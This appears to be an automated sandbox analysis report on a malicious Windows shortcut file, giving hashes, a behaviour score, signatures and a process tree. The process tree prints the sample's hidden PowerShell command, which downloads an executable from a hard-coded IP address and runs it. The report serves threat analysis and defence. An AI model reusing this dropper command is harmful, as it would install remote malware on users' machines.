Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    07-12-2023 07:38

General

  • Target

    AYF00675.lnk

  • Size

    1KB

  • MD5

    92cff55b70b6556b395300de968521fc

  • SHA1

    4bfccd1a6dc2a775a497074caecf25386dab49fb

  • SHA256

    d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d

  • SHA512

    7b59f385a7bacba7a87479837218f1399894480f2b4ae60811d0c4ec180cfbfde6170ecb0b369f4dd0cd75af02a216b5659e714d7c53d439394664505a9311fe

Score
5/10

Malware Config

Signatures

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AYF00675.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2760
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2808-41-0x00000000024E0000-0x00000000024E8000-memory.dmp

    Filesize

    32KB

  • memory/2808-42-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2808-43-0x0000000002900000-0x0000000002980000-memory.dmp

    Filesize

    512KB

  • memory/2808-40-0x000000001B3A0000-0x000000001B682000-memory.dmp

    Filesize

    2.9MB

  • memory/2808-44-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2808-46-0x0000000002900000-0x0000000002980000-memory.dmp

    Filesize

    512KB

  • memory/2808-45-0x0000000002900000-0x0000000002980000-memory.dmp

    Filesize

    512KB

  • memory/2808-47-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

    Filesize

    9.6MB